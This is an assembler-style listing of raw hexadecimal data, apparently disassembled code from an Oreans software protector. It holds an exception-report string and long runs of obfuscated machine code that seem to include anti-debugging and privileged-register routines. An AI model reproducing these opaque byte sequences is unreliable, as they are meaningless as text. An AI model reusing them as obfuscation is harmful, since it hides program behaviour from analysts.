dd 5F78095h, 0C9BF0F06h, 0F788B5FFh, 95FF0605h, 60324C9h dd 0B81958Bh, 0FF680603h, 89000F01h, 320A195h, 0FE96006h dd 0AE000000h, 0C773BF51h, 0B0775C70h, 2D798CB7h, 0DE90172h dd 0F9000000h, 2DD9C992h, 839FFCD2h, 356D2B29h, 7DBD8361h dd 60320h, 58840Fh, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 8BC441C3h, 32EA595h dd 0E1858D06h, 6A0605F7h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 19042444h, 40000000h, 96E6C350h, 289F5B0Eh dd 0D8B86660h, 0FE9612Dh, 80000000h, 858DB2EEh, 605F7B7h dd 17C5BD8Bh, 8B500603h, 321218Dh, 84B5FF06h, 810605F7h dd 5C2880D1h, 7C95FF09h, 6A0605F7h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 17042444h, 46000000h, 1BBC356h dd 8B6034A3h, 51BD8BD6h, 61060321h, 0F7888589h, 0EB90605h dd 0FF01F9F1h, 5F788B5h, 95FFFC06h, 605F778h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0B8C35545h, 0D8F588F5h dd 0B5FF1E72h, 605F788h, 2DEDB501h, 95FF0603h, 60324C9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 6EC35646h dd 7E800327h, 9E84Ah, 0E31C0000h, 8A82A2BEh, 0F322CA7h dd 686h, 0FCC78100h, 597F5EE3h, 14E8h, 0A8541E00h, 70B744E9h dd 745CFFECh, 0F145EF55h, 74BD6BCAh, 7DBD8BB4h, 5906030Bh dd 0FFF6C3E9h, 3800FFFh, 66000000h, 0B5FFD38Bh, 60602D1h dd 95FFF88Bh, 603171Dh, 0CE59503h, 858B0603h, 6030A6Dh dd 29ADBD2Bh, 85E90603h, 8B000005h, 308C595h, 5E806h, 893D0000h dd 8B3C29BAh, 32C498Dh, 0B58D5F06h, 605FA86h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0A6C35040h, 8D8BDA30h dd 60300B1h, 0A758858Dh, 8D890605h, 6032545h, 0BD89D0FFh dd 60303DDh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 8CB136C3h, 0FD08B66h, 95FFD1BFh dd 6030779h, 0BF59523h, 0F38B0603h, 38A0Fh, 0B70F0000h dd 58858DC8h, 0F90605A7h, 12E9D0FFh, 21000000h, 28676EF1h dd 3B92E390h, 0D8B4C977h, 47475E9Bh, 6A006AA6h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 43B4C357h, 0DF816694h, 95FF6A41h, 6030779h, 5E9h, 2F05AD00h dd 0C08BA92Fh, 83D78B66h, 304E5BDh, 9750006h, 2339BD83h dd 74000603h, 8B535019h, 7D9B8C0h, 85890000h, 6031A9Dh dd 0B5BF9D8Dh, 0D3FF0605h, 0BD83585Bh, 6032339h, 50177400h dd 7D9B853h, 85890000h, 6031A9Dh, 0B2AE9D8Dh, 0D3FF0605h dd 6A585Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h dd 51410000h, 0B92CC4C3h, 0A8FB0F25h, 8BF9CB8Bh, 6800FC0h dd 8B000000h, 3130595h, 68ED8006h, 33D88B50h, 322758Dh dd 81665206h, 5FB964DAh, 19D8D53h, 8B060305h, 8B038903h dd 43895043h, 6A9D8D50h, 8B060602h, 5B038903h, 66FFBF0Fh dd 6AA927BAh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1904h, 0C3524200h, 55FE07DEh, 0BD8B7AF1h, 6032ADDh dd 68F0Fh, 8D310000h, 60325E5h, 26A858Dh, 13E90606h, 74000000h dd 236FBA1Fh, 7F6E414h, 4A5C3506h, 178970DAh, 6A503BDAh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1D042444h dd 42000000h, 0A72BC352h, 39391B67h, 0F3F9ABBFh, 2830Fh dd 0CE8B0000h, 8E0F606Ah, 6, 14358589h, 9D890603h, 6030DC9h dd 501858Dh, 81660603h, 50BB59E1h, 0F006AF9h, 6AC8BFh dd 14E9h, 677A2C00h, 12A2EEB4h, 430E8ED5h, 5C881676h, 5C2F9C2Fh dd 18006804h, 0C2810000h, 18AAA47h, 758D8B53h, 0FF060326h dd 3042595h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 8B81FC7Ch, 326018Dh, 95FFF506h, 6030C95h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 61C35545h dd 0A3BD6879h, 6EA8166h, 0D1B5FFEAh, 89060602h, 31FF585h dd 1D95FF06h, 66060317h, 858DFB8Bh, 6030501h, 0B49952Bh dd 408B0603h, 9802BA18h, 85C712E1h, 60322F1h, 0 dd 2531958Bh, 0BD830603h, 603207Dh, 91840F00h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h dd 43000000h, 674AC353h, 105757C4h, 4315BBA9h, 0FBAF78Ah dd 3D6B54F3h, 8Ch, 1A3830Fh, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 2ED02CC3h dd 0E854DE78h, 0ACF281C1h, 5701818Fh, 1B1D9509h, 0E95F0603h dd 35h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch dd 0DBC35747h, 0D796112Eh, 16DB6817h, 963Dh, 3E830F00h dd 89000001h, 30B7595h, 9F858D06h, 8B005AF5h, 323158Dh dd 9E85B906h, 0D0FF4A84h, 68A0Fh, 8D8B0000h, 6030031h dd 0EFF2858Dh, 0BF66005Ah, 0D0FF3953h, 6830Fh, 8D8B0000h dd 603260Dh, 8166C08Bh, 837451EFh, 304E5BDh, 9750006h dd 2339BD83h, 74000603h, 8B535019h, 0BC6B8C0h, 85890000h dd 6031A9Dh, 0B5BF9D8Dh, 0D3FF0605h, 0BD83585Bh, 6032339h dd 50177400h, 0BC6B853h, 85890000h, 6031A9Dh, 0B2AE9D8Dh dd 0D3FF0605h, 958B585Bh, 6032935h, 18C5B589h, 958B0603h dd 6031611h, 0E281C08Bh, 7ACFBD19h, 0FFFF883h, 3585h, 68CA8000h dd 7E9h, 60CA6400h, 7FDD7883h, 2A9D85C7h, 603h, 958B0000h dd 6032121h, 2A799531h, 0C9E90603h, 81000000h, 30DEE2E7h dd 4CE921h, 0F8830000h, 43850F01h, 6A000000h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 7FA0C353h, 6156E8D3h, 0B966F74Dh, 5E8D56Eh, 70000000h dd 9550E2CFh, 2451BD8Bh, 0E95A0603h, 0ACh, 0F516CA81h dd 0B1E95857h, 89FFFFF1h, 32149BDh, 33C08B06h, 31A41BDh dd 0E5BD8306h, 60304h, 0BD830975h, 6032339h, 50197400h dd 0B8C08B53h, 7DDh, 1A9D8589h, 9D8D0603h, 605B5BFh, 585BD3FFh dd 2339BD83h, 74000603h, 0B8535017h, 7DDh, 1A9D8589h, 9D8D0603h dd 605B2AEh, 585BD3FFh, 18C5B589h, 0C08B0603h, 16D58589h dd 2EE90603h, 0F9000002h, 6E858Dh, 0BD310606h, 6031431h dd 2668589h, 8F0F0606h, 15h, 10E9h, 93F54500h, 86B97F86h dd 0ACB2EB5h, 826F7347h, 56E915h, 2AB60000h, 0FE76858Dh dd 0BD890605h, 60304D9h, 12E940h, 5D7E0000h, 0A1A795C4h dd 0BA526115h, 0A2F7A24h, 0F8031F13h, 2668589h, 6A0606h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h dd 3EFCE3C3h, 0C685B336h, 9D892891h, 6030041h, 858D346Ah dd 6032FB1h, 66B5FF50h, 6A060602h, 0A195FF00h, 83060318h dd 840F07F8h, 162h, 0F6DB8C66h, 850F04C3h, 0FCh, 1BA185C6h dd 68560603h, 9CA8B852h, 2E1B5FFh, 858D0603h, 60338E0h dd 46AD0FFh, 100068h, 6A646A00h, 89D0FF00h, 602D985h, 0A185C606h dd 4706031Bh, 18AC9B68h, 0E1B5FFECh, 8D060302h, 338E085h dd 0FFD0FF06h, 0C6F08BD0h, 31BA185h, 61684F06h, 0FFC62F26h dd 31F9DB5h, 0E0858D06h, 0FF060338h, 0D59D8DD0h, 53060602h dd 0FF56286Ah, 75C085D0h, 0A185C600h, 4106031Bh, 87649868h dd 9DB5FFDBh, 8D06031Fh, 338E085h, 89D0FF06h, 602F285h dd 0A185C606h, 4C06031Bh, 0A4E7A468h, 9DB5FF80h, 8D06031Fh dd 338E085h, 8BD0FF06h, 602D99Dh, 45B8D06h, 0DE9D8D53h dd 53060602h, 0D0FF006Ah, 2D99D8Bh, 3C70606h, 1, 20C43C7h dd 0C7000000h, 31D4985h, 6, 6A006A00h, 8B006A00h, 602D99Dh dd 6A5306h, 2D5B5FFh, 95FF0606h, 60602F2h, 1BA185C6h, 68450603h dd 92A5F797h, 3121B5FFh, 858D0603h, 60338E0h, 6AD0FFh dd 0D0FF026Ah, 0F6DB8C66h, 327504C3h, 2D99D8Bh, 43C70606h dd 0Ch, 6A006A00h, 0D99D8B00h, 53060602h, 0B5FF006Ah, 60602D5h dd 2F295FFh, 0B5FF0606h, 60602D5h, 0C9595FFh, 6A0603h dd 77995FFh, 0C8B50603h, 49958B60h, 6006030Bh, 77DB58Bh dd 0B70F0603h, 96161F6h, 32F618Dh, 0F5858D06h, 8B060634h dd 3042995h, 850F5006h, 6, 1A618589h, 0FF640603h, 35h dd 64FA8B00h, 2589h, 0EF810000h, 3320A76Dh, 61958960h dd 8B060322h, 0BD8361C6h, 6032EBDh, 5B840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1C042444h dd 46000000h, 522BC356h, 0D71C780Ch, 3170040Dh, 30BA19Dh dd 0BD895606h, 6032EC5h, 89BD835Fh, 106031Dh, 1C850Fh dd 81660000h, 80326CDFh, 606F2BDh, 850F0006h, 0Ah, 19FE9F5h dd 0BA660000h, 0DB33709Ch, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0F2C35343h, 0CF57EC68h, 29BD8B63h, 66060331h dd 33FF78B9h, 56006AC0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 61D5470Ch, 0E8600192h, 6, 0A20C5CF7h dd 8B664B38h, 665359DAh, 3AF8E881h, 0F406159h, 640B073Fh dd 58Fh, 0C4830000h, 0DE904h, 0C3BD0000h, 96B0301Ch, 0FCC79F60h dd 0E903B922h, 5, 0E943B70Dh, 0FFFB835Dh, 15840Fh, 0E9530000h dd 6, 279F806Ah, 0E95AC07Ah, 0E3h, 0E9C88B66h, 53h, 4C8BEE8Ah dd 81C70C24h, 0A4h, 0FFFFFFFFh, 0B88183h, 33040000h, 5C8BC3C0h dd 0E8550C24h, 0 dd 17ED815Dh, 8B060635h, 0B883h, 0D8858D00h, 89060635h dd 0B883h, 0C0335D00h, 68B0FC3h, 31000000h, 3260185h, 218D2B06h dd 8D06032Ch, 6350D85h, 0CBB70F06h, 8950CA8Ah, 30FE9BDh dd 65958B06h, 6406031Dh, 35FFh, 0C1810000h, 331BE585h dd 258964h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1D042444h, 40000000h, 0F40DC350h, 0AE749F17h dd 0B885454Bh, 66605AB2h, 0F52CC381h, 2115858Bh, 0B9610603h dd 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h, 34B640h dd 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h, 3044D85h dd 106h, 58F6400h, 0 dd 6A04C483h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 0FAE2C351h, 8B67172Ch, 6060D1D4h dd 0CF8B66FCh, 0DE816661h, 8B61F5B4h, 315958Dh, 6AC08B06h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 6044C352h, 2AE0F27Dh, 83E04872h, 304E5BDh dd 9750006h, 2339BD83h, 74000603h, 8B535019h, 43DB8C0h dd 85890000h, 6030739h, 0B6269D8Dh, 0D3FF0605h, 0BD83585Bh dd 6032339h, 50177400h, 43DB853h, 85890000h, 6030739h dd 0B2C79D8Dh, 0D3FF0605h, 0F181585Bh, 6A44237Dh, 8BCFB70Fh dd 13AE9C0h, 40000h, 2E310000h, 353538h, 7 dup(0) aExceptionInfor db 'Exception Information',0 aPleaseSendTheF db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 dd 1CB9BD83h, 0F000603h, 12D84h, 0DE858D00h, 500605B0h dd 0B048858Dh, 68500605h, 80000001h, 0B0EE95FFh, 858D0605h dd 6063699h, 0A3858D50h, 50060636h, 6A006Ah, 0B05C858Dh dd 0FF500605h, 5B0DEB5h, 0B595FF06h, 8D06030Eh, 6369985h dd 858D5006h, 60636A7h, 6A006A50h, 6E858D00h, 500605B0h dd 0B0DEB5FFh, 95FF0605h, 6030EB5h, 3699858Dh, 8D500606h dd 636B385h, 6A5006h, 858D006Ah, 605B0BBh, 0DEB5FF50h dd 0FF0605B0h, 30EB595h, 99858D06h, 50060636h, 36BB858Dh dd 6A500606h, 8D006A00h, 5B0D985h, 0B5FF5006h, 605B0DEh dd 0EB595FFh, 858D0603h, 6063699h, 0B7858D50h, 50060636h dd 6A006Ah, 0B0C2858Dh, 0FF500605h, 5B0DEB5h, 0B595FF06h dd 8D06030Eh, 6369985h, 858D5006h, 60636ABh, 6A006A50h dd 0CA858D00h, 500605B0h, 0B0DEB5FFh, 95FF0605h, 6030EB5h dd 3699858Dh, 8D500606h, 636AF85h, 6A5006h, 858D006Ah dd 605B0D1h, 0DEB5FF50h, 0FF0605B0h, 30EB595h, 0DEB5FF06h dd 0FF0605B0h, 302F595h, 0A2E906h, 0BD830000h, 60319DDh dd 95840F00h, 83000000h, 31D89BDh, 850F0006h, 11h, 1C99958Bh dd 0C2810603h, 1CF8h, 0FE9h, 1958D00h, 8B060305h, 0C2813452h dd 3BD4C340h, 29919589h, 0BD830603h, 6032991h, 55840F00h dd 8B000000h, 329919Dh, 4CC38306h, 8589038Bh, 60636A3h dd 29919D8Bh, 0C3830603h, 89038B50h, 636A785h, 919D8B06h dd 83060329h, 38B54C3h, 36B38589h, 9D8B0606h, 6032991h dd 8B58C383h, 0B7858903h, 8B060636h, 329919Dh, 5CC38306h dd 8589038Bh, 60636ABh, 1CB9BD83h, 0F000603h, 0D85h, 0DDBD8300h dd 60319h, 68840Fh, 0B5FF0000h, 60636BBh, 36AFB5FFh, 0B5FF0606h dd 60636ABh, 36B7B5FFh, 0B5FF0606h, 60636B3h, 36A7B5FFh dd 0B5FF0606h, 60636A3h, 369D858Dh, 8D500606h, 636D585h dd 858D5006h, 60300B5h, 0E195FF50h, 83060325h, 406A24C4h dd 36BF858Dh, 8D500606h, 300B585h, 6A5006h, 18A195FFh dd 16A0603h, 77995FFh, 0C18B0603h, 0F31718EBh, 9B46h, 4 dup(0) dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 6063A5Ch dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh dd 8C261h, 0FFFFF6E9h, 0FFh, 0 dd 0C3616000h, 0FFFFF8E9h, 94B58BFFh, 8106063Ah, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 98B53B00h, 0F06063Ah dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 2991858Bh, 18860603h dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 0CD95FF08h, 5006031Dh, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 2991858Bh, 0C60603h, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 6032991h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 6030C59h, 0 aLdLs db 'D$',8,'',0 db 10h dd 98890000h, 1000h, 1889188Bh, 0AE9h, 5985C700h, 6030Ch dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh, 840F003Eh dd 31h, 3AB7A1BBh, 0B101B076h, 13E901h, 8AAC0000h, 32C302C8h dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah, 0FFFFE585h, 0FD20BFFh dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h dd 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h, 8A37465Ah dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh, 0BB60C35Bh dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h dd 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h, 850FD20Bh dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 3985C700h dd 106063Ah, 50000000h, 244C010Fh, 3D858FFEh, 8D06063Ah dd 63A3585h, 3DBD8D06h, 8906063Ah, 23E938h, 858D0000h dd 6030501h, 538408Bh, 9B46F317h, 3A358589h, 858D0606h dd 6030501h, 893C408Bh, 63A3985h, 52858D06h, 8906063Ah dd 31DCD85h, 87E906h, 8B520000h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6000000h, 0C8D10630h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h dd 45CAB2B8h, 7E9A9h, 6300000h, 0C8D10628h, 0FF73B46h dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h dd 0C4A8B08h, 13E9h, 2D3CAC00h, 0A840Fh, 98040000h, 0D8321334h dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh, 8C25A5Eh dd 0C5858D00h, 8906063Ch, 3097185h, 0ED858D06h, 8906063Ch dd 3255D85h, 15858D06h, 8906063Dh, 3237D85h, 12E806h, 71670000h dd 7652250Ah, 873788A7h, 5A769BFh, 0D144A311h, 4BBE58F9h dd 811EA140h, 5F12C0h, 8B665300h, 0BF59CBh, 0F000000h dd 1381h, 0EE900h, 1FC00000h, 0C48BF716h, 0B091FE2Bh, 2D423CC1h dd 0E90734FFh, 0Ah, 0AF6AF6D1h, 0F32DE06Bh, 0F5A5D83h dd 0F281D8BFh, 2D97E492h, 5E9h, 0C9E68800h, 0F281B3D5h dd 444E10BFh, 0DCCAF281h, 0D98B2604h, 9CEBBE52h, 48F759Dh dd 12E838h, 7CB40000h, 63BA3AEh, 0B76BF421h, 74E0DC61h dd 1B9B4389h, 811FB55Bh, 597661EFh, 0DE91Bh, 1A000000h dd 0C63317E8h, 0E8B32B27h, 81DEB536h, 59765DC7h, 8840F1Bh dd 51000000h, 953DB81h, 815958E1h, 0FFA1C0FFh, 71850FFFh dd 66FFFFFFh, 5163F181h, 66C08B60h, 44B9E681h, 4E5BD83h dd 75000603h, 39BD8309h, 60323h, 53501974h, 0EB8C08Bh dd 89000004h, 31A9D85h, 0BF9D8D06h, 0FF0605B5h, 83585BD3h dd 32339BDh, 17740006h, 0EB85350h, 89000004h, 31A9D85h dd 0AE9D8D06h, 0FF0605B2h, 6A585BD3h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0AC9DC355h dd 660B87D3h, 655FC281h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 92C35141h, 0E71A59AEh, 20333945h, 8A0EBA66h dd 0BF0FC08Bh, 0EE8166D7h, 0BD8318BBh, 6032EBDh, 0D840F00h dd 56000000h, 5ACFBF0Fh, 2AFE9h, 0CEB70F00h, 6ADF8Ch, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h dd 0C23DCBC3h, 0D0D137B2h, 0AE9575Dh, 2000000h, 98BE1975h dd 0F0D00E5Dh, 66FC5911h, 4C7F7h, 26A850Fh, 81660000h dd 0BF2C5AE6h, 0 dd 0D70EF281h, 0BA660077h, 9D8D2169h, 6064189h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 30C35545h, 0BE875064h dd 0F28BF87Eh, 5010B193h, 93F08B66h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0A9C35343h, 7ECF3CFCh, 0FFF159Fh dd 665060B5h, 7F94E881h, 48C0F5Bh, 66000000h, 618F88B8h dd 35FF64h, 6A000000h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 4E73C351h, 4268E8E5h dd 0B6106AA1h, 25896426h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 71C35545h dd 8458BB60h, 820F5D44h, 15h, 0FE8h, 99442B00h, 64E988B9h dd 87C846BBh, 0A3A92866h, 8A0F6159h, 1, 6AC48BF9h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 97CFC356h, 0A6A9A5A1h, 1CDCF8Ah, 6A00EBh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0B00ABAC3h dd 10E8F8E0h, 0E4000000h, 0BC6CF18Fh, 8DA7E10Eh, 0BC633085h dd 8B671F57h, 6A5ED7h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 0DD4009C3h, 8A71AB77h, 7E8F1h, 3F8F0000h dd 0BCC13093h, 0F6815A0Dh, 655E206Bh, 58F64h, 0BA000000h dd 37761571h, 5704C483h, 5ECE8B66h, 840FC00Bh, 0C0h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 30C35141h, 0AE31BB95h dd 8DED703Eh, 8B666043h, 0BE9C6h, 398E0000h, 23C802F6h dd 0A34B7C7Fh, 6A616106h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 6B5FC350h, 0DAE26930h dd 8B0F8718h, 1, 8D53B2F9h, 371E3BDh, 68A0F06h, 0F000000h dd 84h, 1B800h, 0DA810000h, 5198032h, 0C88BE7FFh, 850Fh dd 8B570000h, 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h dd 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh, 0C7F310B9h dd 58B0F2Dh, 66000000h, 9CE7D281h, 14E961h, 0DD440000h dd 0C8563153h, 16564737h, 0FFBCCBA8h, 777A9CECh, 8BFCC3EEh dd 51006AC0h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0D3178887h, 0E9C789C0h, 0Fh, 0DE2805CCh dd 8E138B04h, 763CB55Ch, 665F3919h, 80E1A7BAh, 0BD8357D9h dd 60304E5h, 83097500h, 32339BDh, 19740006h, 0C08B5350h dd 40EB8h, 39858900h, 8D060307h, 5B6269Dh, 5BD3FF06h, 39BD8358h dd 60323h, 53501774h, 40EB8h, 39858900h, 8D060307h, 5B2C79Dh dd 5BD3FF06h, 57006A58h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1B04h, 0C3574700h, 0E02D2768h, 0D61BEE5Fh, 0C850Fh dd 8C0F0000h, 6, 840Fh, 0DDBA0000h, 6A2468FDh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 0B6D7C353h, 12E9A5h, 0D6030000h, 942C31A9h, 570B97A9h dd 65620BE4h, 216B7E03h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 455BFCC3h, 0DCDBFE95h dd 34F28166h, 0EBC28BA2h, 8, 0 dd 7BE900h, 52600000h, 244C010Fh, 0C2835AFEh, 89858B24h dd 8D06031Dh, 6717C85h, 8B088B06h, 100088h, 660A8B00h dd 89FC4A8Bh, 643008Dh, 7DBD8306h, 60320h, 0F840Fh, 6A600000h dd 0A595FF00h, 61060323h, 0FFFFC4E9h, 728966FFh, 10CEC1FCh dd 2728966h, 5A04CD52h, 42FC8589h, 0B58B0606h, 6064300h dd 6610CEC1h, 8B027289h, 64300B5h, 72896606h, 858B61FCh dd 60642FCh, 39958DC3h, 89060331h, 3299195h, 0ED958906h dd 0FF060323h, 323ED85h, 0A185C606h, 5306031Bh, 0B148D868h dd 0E1B5FFFCh, 8D060302h, 338E085h, 89D0FF06h, 323A585h dd 6C858D06h, 8906063Ah, 3136985h, 0E900EB06h, 61Eh, 612E9h dd 44B86800h, 42E90606h, 68FFFD3Ah, 60645F4h, 0FD3A38E9h dd 468068FFh, 2EE90606h, 68FFFD3Ah, 6064772h, 0FD3A24E9h dd 488368FFh, 1AE90606h, 5CFFFD3Ah, 809E0AD3h, 9FBD29FAh dd 0BCDA4617h, 0DFFD6932h, 5E1D895Ah, 0F8C94E12h, 1AE36E8Ch dd 3B0490AEh, 592AB1CFh, 713CE8EDh, 0D0170103h, 99D2E5F3h dd 0D611455Fh, 1145F200h, 45026BD6h, 9BD5D611h, 3CD61145h dd 0D6114533h, 0DEA42F3Dh, 918C8B54h, 4C443F3Eh, 11456F89h dd 7B058056h, 0F1C4FE07h, 0D4D45DCBh, 7780B2DCh, 18373C58h dd 34F7EF6Ch, 5C14D62Bh, 0BF901725h, 9A0E1BC7h, 0CB37008Ch dd 26EF7B89h, 2E342C27h, 0B5DAD9A2h, 2E3CB048h, 0DED9D8A9h dd 95519F6Ah, 14215012h, 3027F21Ch, 325A1798h, 5145CE25h dd 575854C1h, 48650h, 0BC850E00h, 0DBAC3250h, 0F8C9516Fh dd 1BE46E8Ch, 3B0C91AFh, 0C410CFh, 203EAA7Bh, 4260CC95h dd 6381EDB6h, 9A9F0BDCh, 1CD23EEh, 97A5D017h, 0FECF5684h dd 27F07C8Ah, 80352D28h, 1145A0CBh, 9D66F0D6h, 561FA69Eh dd 8172DE9Dh, 34338684h, 8F3A3716h, 23CBC88Bh, 1D5FCB9Ch dd 0AD220EBh, 95A2D611h, 4210979Dh, 9C9BEEB7h, 0A9587780h dd 4EA2BB37h, 0C95056h, 2084D99Fh, 8366EFC3h, 3C5B96E1h dd 0E2DAD92Ch, 958D8C5Dh, 68EF3F10h, 0F043149Ah, 0F7F4D3F1h dd 2A38464Ch, 0DBD3A4h, 9F293703h, 0DB84EAB5h, 5F6CD611h dd 1A120D0Ch, 50BC8D14h, 397D874Ch, 3A38E5Ch, 56DD0000h dd 818AFECFh, 80BFB04h, 0AE77028Dh, 92AE635Bh, 0BD81F689h dd 0BCB4F35Dh, 1112FEF9h, 808E34D6h, 57322AFBh, 5A2BB25Ah dd 723DE9EEh, 0D611127Ch, 6573E7F4h, 641911DAh, 0AB17E06Ch dd 3635068Dh, 0A20E9A11h, 2D2CFD84h, 5CE4AA35h, 0B3998C8Bh dd 0BC36A2AAh, 773C619h, 1113C22Ch, 0FFC550D6h, 0B2ADAC75h dd 0C23B605Fh, 5CF7C236h, 0D6DC1419h, 0DEDF72C9h, 506CEBDh dd 34AFEh, 0F8C14A00h, 17E86E8Ch, 34058DABh, 5720AAC8h dd 7748CDEBh, 3C004C0Bh, 5C7AE6B7h, 7E9C08D1h, 9FBD29F2h dd 0D6DB4718h, 115F2Ah, 0D3E1D017h, 0FECF56C0h, 0AF8007FFh dd 0D7A82D3Bh, 30E5DDD8h, 0B0810614h, 0B8BEB6B1h, 0E2F0642Dh dd 70928A5Bh, 11451B95h, 0D8A3D5D6h, 0D611459Ah, 92554D5Ah dd 0D6115558h, 63622BB6h, 115544AEh, 0A078A5D6h, 78DE612Ch dd 111ADC14h, 0DB416D72h, 9E4A4281h, 0C89D3A91h, 0D7D8CEBDh dd 2BED0h, 844DD600h, 0A374FA18h, 0C0911937h, 0E3AC3654h dd 3D45977h, 0C88CD897h, 0E8067243h, 0A28945Dh, 2B49B57Eh dd 6267D3A4h, 385EBB6h, 5F6DD017h, 0FECF564Ch, 0D0E4818Ah dd 0E21FEFABh, 4F244097h, 0B8B0CF69h, 0B3840B03h, 4A4706B4h dd 0D64A1BA2h, 0C29BD9A4h, 4E5BD611h, 0C2E10FDAh, 8491D611h dd 6D666A8Ch, 0A85C3964h, 22Dh, 9E2432F7h, 50D6CECDh, 3285807Fh dd 457D773Ah, 6977D611h, 121810E1h, 3351BD86h, 0FCF2BDA7h dd 74D61145h, 1D151467h, 1BC9C891h, 2BB75F5Ch, 9FE5EE62h dd 0CC48E4Dh, 0A5A9CBC3h, 5C39342Eh, 935CE8F6h, 66A19994h dd 6Bh, 0FF2932B5h, 9D66F1E1h, 9F009852h, 6F0974A7h, 36BBC9FBh dd 0BF12E368h, 0A05304C7h, 9DCBDC14h, 12B79CD2h, 0FC4754D0h dd 0C18D8A8Eh, 1E75C81Eh, 